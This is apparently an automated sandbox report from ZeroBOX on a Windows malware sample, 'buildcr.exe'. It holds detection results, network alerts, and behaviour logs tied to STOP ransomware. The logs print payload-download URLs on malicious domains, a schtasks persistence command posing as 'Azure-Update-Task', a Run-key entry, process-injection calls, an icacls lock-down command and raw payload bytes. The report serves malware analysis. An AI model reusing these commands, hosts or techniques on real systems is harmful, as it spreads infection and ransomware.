popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

buildcr.exe

Suspicious_Script_Bin [m] Generic Malware Generic Malware Suspicious_Script UPX task schedule Malicious Library DGA ScreenShot PWS Internet API DNS Http API Socket AntiDebug PE File OS Processor Check PE32 AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us July 2, 2024, 7:42 a.m. July 2, 2024, 7:53 a.m.
Size 806.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 88932ab33c38072946abc06b426d33b8
SHA256 d47e05b0ad27c651fb9cf73444e1f6a26514acb16998e92fca8be115ae6a2dee
CRC32 116D0935
ssdeep 12288:qIowhzaoWcGawk7yVe+H1JU7VuzpzS3oxAiXZcmQGLu5t15KBM0JiY3u3SZtr9XW:vhzL5MkmQ+H/2KFXVotzeM03aSpyr
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.103:52760 -> 164.124.101.2:53 2027026 ET POLICY External IP Address Lookup DNS Query (2ip .ua) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49171 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.103:49171 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49165 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49174 -> 186.233.231.45:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.103:49174 -> 186.233.231.45:80 2020826 ET MALWARE Potential Dridex.Maldoc Minimal Executable Request A Network Trojan was detected
TCP 192.168.56.103:49174 -> 186.233.231.45:80 2036333 ET MALWARE Win32/Vodkagats Loader Requesting Payload A Network Trojan was detected
TCP 192.168.56.103:49172 -> 186.233.231.45:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.103:49172 -> 186.233.231.45:80 2036334 ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key A Network Trojan was detected
TCP 186.233.231.45:80 -> 192.168.56.103:49172 2036335 ET MALWARE Win32/Filecoder.STOP Variant Public Key Download A Network Trojan was detected
TCP 192.168.56.103:49173 -> 190.13.174.94:80 2020826 ET MALWARE Potential Dridex.Maldoc Minimal Executable Request A Network Trojan was detected
TCP 192.168.56.103:49173 -> 190.13.174.94:80 2036333 ET MALWARE Win32/Vodkagats Loader Requesting Payload A Network Trojan was detected
TCP 186.233.231.45:80 -> 192.168.56.103:49174 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 190.13.174.94:80 -> 192.168.56.103:49173 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49171
104.21.65.24:443 		C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1
TLSv1
192.168.56.103:49165
104.21.65.24:443 		C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "Azure-Update-Task" has successfully been created.
console_handle: 0x00000007
1 1 0
request GET http://cajgtus.com/test2/get.php?pid=06280D9CD13939E9B7E95CDCAA6A83CC&first=true
request GET http://defgyma.com/dl/build2.exe
request GET http://cajgtus.com/files/1/build3.exe
request GET https://api.2ip.ua/geo.json
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2992
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 65536
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c6c000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2992
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00320000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x01fde090 size 0x00000468
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x01fde4f8 size 0x00000068
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x01fde4f8 size 0x00000068
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x01fde4f8 size 0x00000068
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x01fde4f8 size 0x00000068
file C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build2.exe
file C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
file C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
file C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build2.exe
file C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 412
thread_handle: 0x000000ac
process_identifier: 2180
current_directory:
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x000000b0
1 1 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $_á3e`e`e`7` e`7 `e`7 `0e`<£ô`e`eŽ`re`7`e`7`e`7`e`Riche`PELÈò¶cà  ´Z¹ª#Ð@À¹Ñì#(¸¥H@Ðp.textW³´ `.rdataL\Ð^¸@@.dataÈÒ´0D@À.rsrc¥¸¦Z@@U‹ìVEP‹ñè;ǼÑ@‹Æ^]ÂǼÑ@éðU‹ìV‹ñǼÑ@èßöEtVèY‹Æ^]ÂU‹ì€}t(ƒ~r"FW‹8…Ûv QWjPèùƒÄWèåY_‹Ë‹ÆÇFè]ÂU‹ì‹VSW^ƒúr‹ ë‹Ë¸4C;Èw3ƒúr‹ ë‹Ë‹~ y;Èvƒúr‹ ë‹Ëÿu‹Ø+ÙÑûV‹ÆèTë4‹}‹Æè΄Àt$‹Fƒør‹h4CPS‹ÇèƒÄ ‹Ï‹Æè‹Æ_[]ƒx‰Hr‹@ëƒÀ3Òf‰HÃU‹ìV‹ðW9^s萋~+û9} s‹} ‹E;Æujÿû‹ðèœS3ÿè”ëCèG„Àt:ƒ~r‹FëF‹u‹Vƒúr‹NëNXPRQ‹ÇèðƒÄ ‹Ï‹Æèkÿÿÿ‹E_^]ÂV‹ðÿþÿÿvè¿‹F;Çs ÿvWVè ë…ÿu!~ƒør‹vëƒÆ3Àf‰3À;ÇÀ÷Ø^ÃU‹ìQQ9~sèÆ‹F+Ç;Es‰Eƒ}vS‹NSVƒùr‹‰]üë‰Uüƒùr‹‹]+ÃÀP‰Uø‹UüBP‹Eø+ÏÉQxPè^‹NƒÄ+ˋÆè¨þÿÿ[‹ÆÉÂj¸(Ã@è6‹u‹} ƒÏÿþÿÿv‹} ë'3Òj‹Ç[÷ó‹N‰MìÑmì‹Uì;Âs¸þÿÿ+Â;Èw< ƒeüO舉E ë$‹E H‰eð‰EìÆEüèn‰E ¸ô@Ëu‹}ìƒ}v!ƒ~r‹FëFPGPÿu ‹EèxƒÄ j3Ûè"ýÿÿ‹E ‹M‰F‹Æ‰~èàýÿÿè² ‹uj3ÛèûüÿÿSSèóÌU‹ìƒì …Éw3ɍ Pè0YÉÃÈÿ3Ò÷ñƒøsèjMôèyüÿÿhP#CEôPè¶ÌU‹ìÀPÿu‹E ÀPÿuè¾ ‹EƒÄ]ÃU‹ìVÿu‹ñè÷ ǼÑ@‹Æ^]‹ÿU‹ìÿuÿuÿu ÿuè… ‹EƒÄ]ËÿU‹ìÿuÿuÿu ÿuèÀ‹EƒÄ]ËÿU‹ìƒ}Vt+‹qAƒþr‹ë‹Ð9Urƒþr‹‹IÈ;Mv°ë2À^]‹ÿU‹ì‹Mƒì …Éw 3ÉQè= YÉÃÈÿ3Ò÷ñƒøsëjMôè†ûÿÿhP#CEôPèÃ̋ÿU‹ìÿuÿuÿu ÿuè1ÿÿÿƒÄ]ËÿU‹ìÿuÿuÿu ÿuè4ÿÿÿƒÄ]ËÿU‹ìƒy‹E‰Ar‹IëƒÁÆ]‹ÿU‹ìjÿuè[ÿÿÿYY]‹ÿU‹ìQÿuüÿuÿuÿu ÿuèzÿÿÿƒÄÉËÿU‹ìQÿuüÿuÿuÿu ÿuèvÿÿÿƒÄÉËÿU‹ì€}V‹ñt)ƒ~r#ƒ} FW‹8vÿu WjPè–ÿÿÿƒÄWèø Y_ÿu ‹ÎÇFèDÿÿÿ^]Âj ¸fÂ@è2‹ù‰}è‹uƒÎƒþþv‹uë%3Òj‹Æ[÷ó‹O‰MìÑmì‹Uì;Âs jþX+Â;Èw4 ƒeüFP‹Ïè ÿÿÿ‹Øë)‹E‹Mè‰E@‰eðPÆEüèðþÿÿ‰Eì¸ù@Ë}è‹u‹]ìƒ} vƒr‹GëGÿu PFPSèÑþÿÿƒÄjj‹Ïèÿÿÿÿu ‹Ï‰_‰wè}þÿÿè­Â‹Mè3öVjèÜþÿÿVVèí ÌjjèËþÿÿÃj¸‰Â@è‹ñ‰uðèºÿuƒeüN ÇÈÑ@è‚‹ÆèYƒy$r‹AÍAËÿV‹ñjjN ÇÈÑ@èpþÿÿ‹Î^éL‹ÿU‹ìV‹ñèÔÿÿÿöEtVè| Y‹Æ^]‹ÿU‹ìVÿu‹ñèmÿÿÿÇÔÑ@‹Æ^]ÂÇÔÑ@é˜ÿÿÿ‹ÿU‹ìV‹ñÇÔÑ@è…ÿÿÿöEtVè- Y‹Æ^]‹ÿU‹ìVÿu‹ñèÿÿÿÇàÑ@‹Æ^]ÂÇàÑ@éIÿÿÿ‹ÿU‹ìV‹ñÇàÑ@è6ÿÿÿöEtVèÞY‹Æ^]ÂjD¸¬Â@èõhèÑ@MØè ƒeüEØPM°è9ÿÿÿh¸CE°PèŠ Ì‹ÿU‹ìV‹uƒþþvèµÿÿÿ9qs ÿqVèýÿÿë(€} tƒþs‹A;ðs‹ÆPjè2ýÿÿë …öuVè²üÿÿ3À;ÆÀ÷Ø^]‹ÿU‹ìVW‹}W‹ñèàûÿÿ„Àtƒ~r‹FëFÿu +øWV‹Îè2ë:jÿu ‹Îèhÿÿÿ„Àt(‹Nƒùr‹FëFÿu WQPè|üÿÿƒÄÿu ‹Îè9üÿÿ‹Æ_^]‹ÿU‹ìVÿu‹ñè" YPÿu‹Îèpÿÿÿ^]‹ÿU‹ìV‹ñjÇFèúûÿÿÿu‹Îè¿ÿÿÿ‹Æ^]ÂjD¸ÏÂ@è©høÑ@MØèÀÿÿÿƒeüEØPM°è<þÿÿh<CE°Pè> ̋ÿU‹ì‹UV‹ñ‹N;Êsè±ÿÿÿ+Ê;M s‰M ƒ} vB‹FSW~ƒør‹ë‹ßƒør‹?+M Ú] QS+ÂPúWè°ûÿÿ‹F+E ƒÄP‹ÎèJûÿÿ_[‹Æ^]‹ÿU‹ìS‹] VW‹}‹G‹ñ;Ãsè<ÿÿÿ+ÉE‹E;Es‰E;÷u‹EjÿÃPèSÿÿÿSj‹ÎèIÿÿÿëFjÿuèñýÿÿ„Àt8ƒr‹ëƒÇ‹Nƒùr‹FëFÿuûWQPèõúÿÿƒÄÿu‹Îè²úÿÿ_‹Æ^[] ‹ÿU‹ìV‹ñjÇFè“úÿÿjÿjÿu‹ÎèDÿÿÿ‹Æ^]Âj¸òÂ@è>‹ñ‰uð‹}Wè_ƒeüƒÇ WN ÇÈÑ@è¥ÿÿÿ‹Æè|‹ÿU‹ìVÿu‹ñè¶ÿÿÿÇÔÑ@‹Æ^]‹ÿU‹ìVÿu‹ñè™ÿÿÿÇàÑ@‹Æ^]Â; 0CuóÃéD‹ÿU‹ì‹EVW3ÿ;ÇtG9}uè6j^‰0WWWWW迃ċÆë)9}tà9E sèj"Y‰‹ñë×PÿuÿuèøƒÄ 3À_^]ËÿU‹ì‹EV‹ñÆF …Àucèó ‰F‹Hl‰‹Hh‰N‹; 8Ct‹ 47C…Hpu莉‹F;86Ct‹F‹ 47C…Hpuè‰F‹Fö@puƒHpÆF ë ‹‰‹@‰F‹Æ^]‹ÿU‹ìƒì3ÉW‹ø;ñt3Àf‰;Ù„y9M „p8 „hÿuMðè?ÿÿÿ‹Eðƒxu.…ötf¶f‰‹E…ÀtÇ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $6økr™h8r™h8r™h8ÏÖþ8s™h8lËý8n™h8lËë8ü™h8U_8{™h8r™i8əh8lËì82™h8lËü8s™h8lËù8s™h8Richr™h8PELÒ¹aà  j˜; €@À>°¿€lhd>/0¸@¸.textrhj `.data¨ÿ:€n@À.kic€>|@À.rsrc/>0~@@¶sŒsœsök l"l.lHlZlpl†l–l¬lÀlÐlìlþlm m4mBm^mtmˆm m°mÊmÜmömnn&n@n\nln‚n”n n¬n¼nÔnænönoo,o@oTo`opo€o’oêkÂoØoêopp.p:pHpVpnp‚p˜p¦p´pÎpÜpüpq,q@qPqbq~q–q¨q¶qÎqÜqêq r"r2r>rPrbrxr–rªr¾rÚrärs s s4sLsÒk¦k´k¦oˆkÜsäsüst&t:tNtjtˆtœt²t¾tÊtÜtìtüt uu$u:uDuRubunu„u”uªu¸uÊuÜuöuvv6vLvfv~v˜v®vÈvÖvävðvww&w2w>wNwXwdwpw‚wªwÀwÐwæwöwxx*x<xHxVxdxnsp:C AÀA€`A4B`TB@ÞA@;B@*Cp ATžcX¸¬bad allocationlubimipemoxiluyexuwilusimazovahoyipixefuliguhifedejowibifunepageyuveciwicabutecohopecadedohomosiseroxagogukisegopezehuyorosecexeyunolezamugocimidezoyobugalodolobuvelelezocokakufofafacajoxecesuvusunixanofuloxucepofalimetominibidoluzogudawulapabevotuwSolofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexeyukuore lacohocojalikukkurikolisidudiguyikawu danijekernel32.dllì¸@§»@Ðç@ITERATOR LIST CORRUPTED!C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xutility"out of range"("_Myptr + _Off <= ((_Myvec *)(this->_Getmycont()))->_Mylast && _Myptr + _Off >= ((_Myvec *)(this->_Getmycont()))->_Myfirst", 0)"invalid argument"std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\vectorstd::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::alloca
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x0009fa00', u'virtual_address': u'0x0000b000', u'entropy': 7.7287513496061795, u'name': u'.rdata', u'virtual_size': u'0x0009f866'} entropy 7.72875134961 description A section with a high entropy has been found
entropy 0.793167701863 description Overall entropy of this PE file is high
url http://www.openssl.org/support/faq.html
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description [m] Generic Malware rule Generic_Malware_Zero_m
cmdline /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3040
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper reg_value "C:\Users\test22\AppData\Local\303d05f2-58c9-4b75-93b0-2e04fa9cb93f\buildcr.exe" --AutoStart
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 3040
process_handle: 0x00000080
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Process injection Process 2992 called NtSetContextThread to modify thread in remote process 3040
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4201210
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 3040
1 0 0
Process injection Process 2520 resumed a thread in remote process 2684
Process injection Process 2992 resumed a thread in remote process 3040
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2684
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 3040
1 0 0
cmdline icacls "C:\Users\test22\AppData\Local\303d05f2-58c9-4b75-93b0-2e04fa9cb93f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2620
thread_handle: 0x0000030c
process_identifier: 2616
current_directory:
filepath:
track: 1
command_line: icacls "C:\Users\test22\AppData\Local\303d05f2-58c9-4b75-93b0-2e04fa9cb93f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
filepath_r:
stack_pivoted: 0
creation_flags: 72 (DETACHED_PROCESS|IDLE_PRIORITY_CLASS)
inherit_handles: 0
process_handle: 0x000004f4
1 1 0

CreateProcessInternalW

 thread_identifier: 2688
thread_handle: 0x000002bc
process_identifier: 2684
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\buildcr.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\buildcr.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\buildcr.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c4
1 1 0

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2684
1 0 0

CreateProcessInternalW

 thread_identifier: 2996
thread_handle: 0x000002c0
process_identifier: 2992
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe"
filepath_r: C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002b8
1 1 0

CreateProcessInternalW

 thread_identifier: 3044
thread_handle: 0x0000007c
process_identifier: 3040
current_directory:
filepath: C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe"
filepath_r: C:\Users\test22\AppData\Local\4798d325-d608-4ca6-9e7c-904ba0655e61\build3.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 3040
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3040
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 3040
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4201210
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 3040
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 3040
1 0 0

CreateProcessInternalW

 thread_identifier: 412
thread_handle: 0x000000ac
process_identifier: 2180
current_directory:
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\test22\AppData\Roaming\Microsoft\Network\mstsca.exe"
filepath_r: C:\Windows\System32\schtasks.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x000000b0
1 1 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Agent.Y!c
Elastic malicious (high confidence)
Cynet Malicious (score: 100)
CAT-QuickHeal Backdoor.Agent
Skyhigh BehavesLike.Win32.Lockbit.cc
ALYac Trojan.Generic.36486039
Cylance Unsafe
VIPRE Trojan.Generic.36486039
Sangfor Trojan.Win32.Save.a
K7AntiVirus Trojan ( 005b694e1 )
BitDefender Trojan.Generic.36486039
K7GW Trojan ( 005b694e1 )
Arcabit Trojan.Generic.D22CBB97
Symantec ML.Attribute.HighConfidence
tehtris Generic.Malware
ESET-NOD32 a variant of Win32/Kryptik.HXJY
APEX Malicious
McAfee Artemis!88932AB33C38
Avast Win32:BootkitX-gen [Rtk]
Kaspersky HEUR:Trojan.Win32.Strab.gen
Alibaba Trojan:Win32/Generic.c403e1da
MicroWorld-eScan Trojan.Generic.36486039
Rising Backdoor.Agent!8.C5D (CLOUD)
Emsisoft Trojan.Generic.36486039 (B)
